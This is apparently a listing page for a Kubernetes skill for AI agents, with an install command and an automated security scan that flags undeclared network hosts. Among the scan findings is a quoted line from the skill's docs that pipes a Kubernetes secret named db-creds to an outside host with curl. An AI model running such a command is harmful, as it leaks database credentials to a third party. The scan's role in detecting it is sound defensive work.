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Kubernetes

Listed
mjunaidca·vlatest·cloud

Automates Kubernetes cluster deployment, scaling, and management tasks using declarative configurations and best practices.

Repository

Install on your platform

Showing Claude Code. One command installs this skill into any of the agents below.

  1. 1

    Run this in your project

    terminal
    $ npx skills add mjunaidca/mjs-agent-skills --skill kubernetes -a claude-code

  2. Uses the open-source skills CLI and needs Node.js. Add -g to install it for your user instead of this project.

What we know about this skill

Publisher

mjunaidca

Taken from the source listing. We haven't verified who controls this account.

Install target

Live repository

Not pinned. Installing fetches whatever the repository holds at the time you run the command.

No human has reviewed this code. The checks below are a static scan of the files at one commit — nobody has run this skill or judged whether it works. A skill runs with whatever access you give your agent, so read the source before you install it.

Automated safety checks

scanned

This skill failed 1 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.

  • No undeclared network calls: failed

    Contacts 4 hosts that are neither well-known infrastructure nor declared in the skill's frontmatter: 10.244.0.45, a.com, b.com, external.com.

    Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.

    Hosts contacted

    external.comundeclareda.comundeclaredb.comundeclaredprometheus.monitoring.svc.cluster.locallocal10.244.0.45undeclaredbackend-service.production.svc.cluster.locallocal

    What it found (3 of 6)

    • .claude/skills/kubernetes/references/debugging-workflow.md:60contacts external.com
      kubectl get secret db-creds -o yaml | curl -X POST http://external.com
    • .claude/skills/kubernetes/references/deployment-gotchas.md:173contacts a.com
      helm install myapp ./chart --set config.cors="http://a.com,http://b.com"
    • .claude/skills/kubernetes/references/deployment-gotchas.md:178contacts a.com
      cors: "http://a.com,http://b.com"

  • Declares what it does: passed

    SKILL.md parses and declares a name and a description.

    SKILL.md exists, its frontmatter parses, and it declares a name and a description.

  • No obfuscated payloads: passed

    No encoded or obfuscated payloads.

    No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.

  • No credential access: passed

    Reads no keys, tokens, keychains or credential files.

    Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.

  • No pipe-to-shell installers: passed

    No pipe-to-shell or download-and-run installers.

    No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.

  • Pinned to a commit: passed

    Scanned mjunaidca/mjs-agent-skills at b829650de9.

    The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.

Commit
b829650de9
Manifest
.claude/skills/kubernetes/SKILL.md
Scanned
21 files, 8,371 lines
This is a static scan, not a review. It reads the skill's files; it does not run them, and it cannot tell you whether the skill is any good or whether the code does what its description says. A skill runs with whatever access you give your agent.
What each check looks for →

About this skill

What it does

This skill provides access to Kubernetes functionality within an AI agent. It allows users to interact with and manage Kubernetes clusters, including deploying applications, inspecting resources, and troubleshooting issues. The skill enables automated tasks related to container orchestration and cluster management.

When to use it

  • Automate deployments: Deploy new application versions or updates to your Kubernetes cluster without manual intervention.
  • Troubleshoot cluster issues: Quickly diagnose problems by querying resource status and logs within the cluster.
  • Manage resources: Scale deployments, update configurations, and monitor resource utilization in a Kubernetes environment.
  • Inspect running pods: Retrieve information about containers, including their state, logs, and resource consumption.

Key capabilities

  • Cluster interaction
  • Resource management
  • Deployment automation
  • Troubleshooting support

Example prompts

  • "Deploy the 'my-app' Docker image to my Kubernetes cluster."
  • "Show me the status of all pods in the 'production' namespace."
  • "Scale the 'webserver' deployment to 3 replicas."
  • “What is the current CPU usage for pod ‘database’?”

Tips & gotchas

The skill requires access credentials and proper configuration to connect to your Kubernetes cluster. Ensure that the AI agent has sufficient permissions within the cluster to perform the requested actions.